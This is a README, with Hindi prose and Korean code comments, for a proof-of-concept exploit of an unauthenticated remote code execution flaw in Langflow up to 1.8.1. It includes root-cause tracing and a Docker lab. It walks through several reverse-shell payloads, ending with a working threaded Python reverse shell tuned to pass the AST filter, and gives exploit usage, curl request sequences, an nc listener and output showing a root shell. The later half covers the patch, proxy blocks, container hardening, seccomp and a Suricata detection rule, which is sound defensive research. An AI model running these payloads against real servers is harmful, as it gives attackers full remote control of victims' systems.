
Langflow <=1.8.1 में बिना प्रमाणीकरण वाले RCE के लिए PoC एक्सप्लॉइट, जिसमें स्रोत-स्तरीय मूल कारण विश्लेषण, AST-जागरूक रिवर्स शेल पेलोड, Docker लैब, पैच डिफ और डिटेक्शन नियम शामिल हैं।
अस्वीकरण
यह रिपॉज़िटरी सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए बनाई गई है।
केवल पृथक (isolated) प्रयोगशाला वातावरण में उपयोग करें।
बिना अनुमति वाले सिस्टम पर उपयोग करना सूचना संचार नेटवर्क कानून का उल्लंघन है और आपराधिक दंड का विषय है।
| आइटम | विवरण |
|---|---|
| CVE ID | CVE-2026-33017 |
| प्रभावित सॉफ़्टवेयर | Langflow (AI वर्कफ़्लो बिल्डर) |
| प्रभावित संस्करण | Langflow ≤ 1.8.1 |
| पैच संस्करण | Langflow ≥ 1.9.0 |
| भेद्यता प्रकार | Unauthenticated Remote Code Execution (RCE) |
| CWE | CWE-306 (Missing Authentication for Critical Function) |
| CVSS | 9.3 (Critical) |
| CISA KEV | सूचीबद्ध |
POST /api/v1/build_public_tmp/{flow_id}/flow
यह सार्वजनिक फ़्लो बिल्ड के लिए एंडपॉइंट है, जिसे बिना प्रमाणीकरण के एक्सेस करने योग्य बनाया गया है।
स्रोत कोड को सीधे ट्रेस करके पुष्टि की गई निष्पादन पथ:
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
│
▼
langflow/api/v1/chat.py — build_public_tmp()
data = request.body["data"] ← 클라이언트 입력 그대로 수신 (취약점)
│
▼
langflow/api/build.py — start_flow_build()
data = FlowDataRequest ← 클라이언트 data 그대로 전달
│
▼
lfx/custom/eval.py — eval_custom_component_code()
class_name = validate.extract_class_name(code)
return validate.create_class(code, class_name)
│
▼
lfx/custom/validate.py — create_class()
module = ast.parse(code)
exec_globals = prepare_global_scope(module)
│
▼
lfx/custom/validate.py — prepare_global_scope()
exec(compiled_code, exec_globals) ← 임의 코드 실행
prepare_global_scope() फ़ंक्शन प्रस्तुत कोड के सभी स्टेटमेंट को निष्पादित नहीं करता है। AST पार्सिंग के बाद केवल विशिष्ट नोड प्रकारों को चुनकर निष्पादित करता है:
# lfx/custom/validate.py — prepare_global_scope() 내부
for node in module.body:
if isinstance(node, ast.Import):
imports.append(node)
elif isinstance(node, ast.ImportFrom):
import_froms.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
# ↑ Expr 노드는 어디에도 포함되지 않음 → 실행 안 됨
exec(compiled_code, exec_globals) # definitions만 실행
निष्पादन योग्य AST नोड प्रकार:
निष्कर्ष: पेलोड को निष्पादित करने के लिए उसे
Assignरूप (_r = ...) में लिखना अनिवार्य है।
साधारण फ़ंक्शन कॉल (os.system("id"))Exprनोड के रूप में वर्गीकृत होती है और फ़िल्टर द्वारा हटा दी जाती है।
अभ्यास के दौरान कई पेलोड विधियों का प्रयास किया गया और प्रत्येक विफलता का कारण स्रोत स्तर पर पहचाना गया।
subprocess.Popen + wait() (विफल)_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait() # ← 여기서 블로킹
विफलता का कारण: Langflow वर्कर थ्रेड कंपोनेंट के रिटर्न वैल्यू पर नज़र रखता है और टाइमआउट होने पर सॉकेट को जबरन बंद कर देता है। _proc.wait() की ब्लॉकिंग बेमानी हो जाती है।
os.execve() का सीधा कॉल (विफल)os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())
विफलता का कारण: POSIX नियमों के अनुसार, मल्टीथ्रेडेड प्रोसेस में execve() कॉल करने पर कॉल करने वाले थ्रेड के अलावा सभी थ्रेड समाप्त हो जाते हैं → पूरा uvicorn वर्कर क्रैश → HTTP 500।
os.fork() + execve() (विफल)_pid = os.fork()
if _pid == 0:
os.execve("/bin/bash", ...)
विफलता का कारण: uvicorn चाइल्ड प्रोसेस को असामान्य समाप्ति के रूप में पहचानकर वर्कर को पुनः आरंभ करता है → HTTP 500।
threading.Thread(daemon=True) (विफल)threading.Thread(target=_shell, daemon=True).start()
विफलता का कारण: daemon=True थ्रेड मुख्य थ्रेड (Langflow वर्कर) के समाप्त होने पर उसके साथ ही नष्ट हो जाता है। connect() का प्रयास करने से पहले ही थ्रेड मर जाता है।
threading.Thread(daemon=False) + Assign# FunctionDef → 실행됨
def _shell():
_s = socket.socket()
_s.connect(("attacker_ip", 4444))
_p = subprocess.Popen(["/bin/bash", "-i"],
stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
_p.wait()
_s.close()
# Assign → 실행됨 (Expr 단독 호출은 필터에서 제외되므로 반드시 변수 대입)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()
daemon=False चुनने का कारण:
daemon=True → Langflow वर्कर थ्रेड समाप्त होने पर उसके साथ नष्ट हो जाता हैdaemon=False → वर्कर से स्वतंत्र जीवनचक्र → सॉकेट कनेक्शन बनाए रखना संभवCVE-2026-33017/
├── README.md
├── Dockerfile # 취약 Langflow 1.8.1 환경
├── Dockerfile.attacker # 공격자 컨테이너 (curl, nc, net-tools 포함)
├── docker-compose.yml # 취약 서버 + 공격자 컨테이너
├── entrypoint.sh # Langflow 기동 및 Public 플로우 자동 생성
├── exploit.py # 리버스 쉘 PoC
└── poc.py # Blind RCE / 취약점 존재 확인
# 1. 컨테이너 빌드 및 기동
docker compose up --build
# 2. Langflow Web UI 접속 확인
# http://localhost:7860
# admin / admin123!
# 3. 컨테이너 IP 확인
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'
┌──────────────────────────────────────────────────┐
│ Docker Bridge Network: poc-net │
│ │
│ langflow-vuln-lab 172.19.0.2:7860 (피해자) │
│ langflow-attacker 172.19.0.3 (공격자) │
└──────────────────────────────────────────────────┘
अटैकर कंटेनर के अंदर चलाएँ:
docker exec -it langflow-attacker bash
# 자동 모드 (토큰 발급 + Public 플로우 생성 + 내장 리스너 포함)
python3 exploit.py \
--url http://172.19.0.2:7860 \
--lhost 172.19.0.3 \
--lport 4444
विकल्प:
अपेक्षित आउटपुट:
============================================================
CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] 로그인 중... (admin)
[*] 토큰 발급 성공
[*] Public 플로우 생성 중...
[*] Flow ID : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] 리스너 시작 → 0.0.0.0:4444
[*] 엔드포인트 : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] 콜백 : 172.19.0.3:4444
[*] 페이로드 전송 중...
[*] HTTP 응답 : 200
[+] 쉘 연결됨 ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)
केवल भेद्यता की उपस्थिति की पुष्टि करने के लिए उपयोग करें:
python3 poc.py \
--url http://172.19.0.2:7860 \
--cmd "id"
# 1. 토큰 발급 + Public 플로우 생성
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=admin&password=admin123!' \
| sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"
# 2. nc 리스너 (터미널 1)
nc -lvnp 4444
# 3. 페이로드 전송 (터미널 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
-H 'Content-Type: application/json' \
-b 'client_id=poc-12345' \
-d @/tmp/payload.json
langflow/api/v1/chat.py:
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
data: FlowDataRequest | None = None, # ← 클라이언트 입력 수신
...
):
job_id = await start_flow_build(
flow_id=new_flow_id,
data=data, # ← 클라이언트 data 그대로 빌드 파이프라인에 전달
...
)
langflow/api/v1/chat.py (स्रोत में सीधे पुष्टि की गई):
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
# data 파라미터 시그니처에서 완전 제거
...
):
"""
Security Note:
- The 'data' parameter is NOT accepted to prevent flow definition tampering
- Public flows must execute the stored flow definition only
- The flow definition is always loaded from the database
"""
job_id = await start_flow_build(
flow_id=new_flow_id,
data=None, # ← 하드코딩 None, 클라이언트 입력 완전 차단
source_flow_id=flow_id, # ← DB에서만 플로우 정의 로드
...
)
साधारण इनपुट मान सत्यापन के बजाय पैरामीटर को ही हटाने वाला डिज़ाइन सही क्यों है:
취약한 설계: 클라이언트 입력 → 검증 → 실행 (검증 우회 가능성 존재)
패치 설계: 클라이언트 입력 → 완전 무시
DB 저장 플로우만 → 실행 (공격 경로 자체 제거)
pip install langflow==1.9.1
फ़ाइल स्थान: nginx.conf (नया बनाएँ)
server {
listen 80;
# CVE-2026-33017 취약 엔드포인트 차단
location ~ ^/api/v1/build_public_tmp/ {
deny all;
return 403;
}
location / {
proxy_pass http://langflow:7860;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
ध्यान दें: Langflow के 7860 पोर्ट को बाहरी रूप से सीधे एक्सपोज़ करने से भी रोकना आवश्यक है, तभी यह प्रभावी होगा।
फ़ाइल स्थान:
/etc/apache2/sites-available/langflow.conf/etc/httpd/conf.d/langflow.conf<Location "/api/v1/build_public_tmp/">
Require all denied
</Location>
यदि कोई सार्वजनिक फ़्लो नहीं है, तो एंडपॉइंट 404 लौटाता है और हमला संभव नहीं होता।
ऑपरेशन नीति के रूप में सार्वजनिक फ़्लो निर्माण पर प्रतिबंध लगाएँ या मौजूदा फ़्लो को PRIVATE में बदलें।
EC2 वातावरण के आधार पर:
인바운드 규칙:
포트 7860 → 허가된 IP만 허용 (0.0.0.0/0 제거)
RCE सफल होने पर भी बाहरी कॉलबैक को ब्लॉक करें:
# langflow 컨테이너 아웃바운드 차단
iptables -I DOCKER-USER -s <langflow_container_ip> -j DROP
या docker-compose.yml:
langflow-vuln-lab:
sysctls:
- net.ipv4.ip_forward=0
langflow-vuln-lab:
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
user: "1000:1000"
read_only: true
tmpfs:
- /tmp
seccomp प्रोफ़ाइल से खतरनाक syscall ब्लॉक करें (langflow-seccomp.json):
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": ["socket", "connect", "fork", "execve"],
"action": "SCMP_ACT_ERRNO"
}
]
}
security_opt:
- seccomp:./langflow-seccomp.json
संदिग्ध HTTP अनुरोध:
POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}
Langflow सर्वर लॉग पैटर्न:
[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error] Exception in worker process
alert http any any -> any 7860 (
msg:"CVE-2026-33017 Langflow RCE Attempt";
flow:established,to_server;
content:"POST"; http_method;
content:"/build_public_tmp/"; http_uri;
content:"CustomComponent"; http_client_body;
classtype:web-application-attack;
sid:2026033017; rev:1;
)
यह रिपॉज़िटरी केवल PoC निष्पादन नहीं, बल्कि स्रोत-स्तरीय विश्लेषण के माध्यम से निम्नलिखित को अतिरिक्त रूप से स्पष्ट करती है:
AST नोड फ़िल्टरिंग की खोज
lfx/custom/validate.py के prepare_global_scope() द्वारा Expr नोड को अनदेखा किए जाने की पुष्टि स्रोत विश्लेषण से सीधे की गई। इससे यह पहचाना गया कि मौजूदा सार्वजनिक PoC का साधारण फ़ंक्शन कॉल पेलोड इस वातावरण में क्यों विफल होता है।
पेलोड विफलता कारणों का विश्लेषण
Popen+wait(), execve(), fork()+execve(), daemon=True थ्रेड जैसी 4 विधियों की विफलता के कारणों का uvicorn मल्टीथ्रेड संरचना और POSIX नियमों के परिप्रेक्ष्य में विश्लेषण किया गया।
पैच कोड की सीधी पुष्टि
1.9.1 के chat.py में data=None हार्डकोडिंग और पैरामीटर हटाने की पुष्टि स्रोत स्तर पर सीधे करके पैच डिज़ाइन के इरादे का विश्लेषण किया गया।
| AST नोड प्रकार | उदाहरण | निष्पादन |
|---|
FunctionDef | def _shell(): ... | ✅ निष्पादित |
ClassDef | class ExploitComponent(Component) | ✅ निष्पादित |
Assign | _r = os.system("id") | ✅ निष्पादित |
AnnAssign | _r: int = os.system("id") | ✅ निष्पादित |
Expr | os.system("id") (एकल कॉल) | ❌ अनदेखा |
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|
--url | लक्षित Langflow URL | आवश्यक |
--lhost | रिवर्स शेल कॉलबैक IP | आवश्यक |
--lport | रिवर्स शेल कॉलबैक पोर्ट | आवश्यक |
--flow-id | सार्वजनिक फ़्लो UUID (छोड़ने पर स्वतः निर्मित) | स्वचालित |
--user | व्यवस्थापक ID | admin |
--password | व्यवस्थापक PW | admin123! |
--no-listen | अंतर्निहित लिसनर अक्षम (बाहरी nc उपयोग करने पर) | False |
--timeout | HTTP टाइमआउट (सेकंड) | 30 |
| आइटम | exploit.py | poc.py |
|---|
| उद्देश्य | रिवर्स शेल प्राप्त करना | भेद्यता की उपस्थिति की पुष्टि (Blind RCE) |
| परिणाम की पुष्टि | अटैकर टर्मिनल में सीधे | सर्वर लॉग / OOB |
| लिसनर | अंतर्निहित शामिल | आवश्यक नहीं |
| एकाधिक लक्ष्य | समर्थित नहीं | समर्थित (--url-file) |
| अभ्यास उपयोग | प्रभाव का प्रमाण | भेद्यता की उपस्थिति का प्रमाण |
| आइटम | 1.8.1 (असुरक्षित) | 1.9.1 (पैच) |
|---|
data पैरामीटर प्राप्त करना | ✅ प्राप्त | ❌ सिग्नेचर से हटाया गया |
| क्लाइंट नोड परिभाषा निष्पादन | ✅ संभव | ❌ असंभव |
| फ़्लो परिभाषा का स्रोत | क्लाइंट अनुरोध बॉडी | केवल DB में संग्रहीत मान |
| बिना प्रमाणीकरण RCE | ✅ सफल | ❌ अवरुद्ध |
| HTTP प्रतिक्रिया | 200 + शेल कनेक्शन | 200 (खाली बिल्ड, कोई नोड नहीं) |
| उपाय | प्रकार | प्रभाव |
|---|
| 1.9.1 अपडेट | मूल समाधान | data पैरामीटर हटाना |
| Nginx/Apache ब्लॉक | एक्सेस ब्लॉक | हमले का मार्ग अवरुद्ध |
| सार्वजनिक फ़्लो का उपयोग न करना | एक्सेस ब्लॉक | एंडपॉइंट 404 |
| AWS सुरक्षा समूह | नेटवर्क ब्लॉक | बाहरी एक्सेस को स्रोत पर रोकना |
| आउटबाउंड ब्लॉक | पश्चात ब्लॉक | रिवर्स शेल कॉलबैक रोकना |
| कंटेनर हार्डनिंग | क्षति न्यूनीकरण | विशेषाधिकार वृद्धि/syscall ब्लॉक |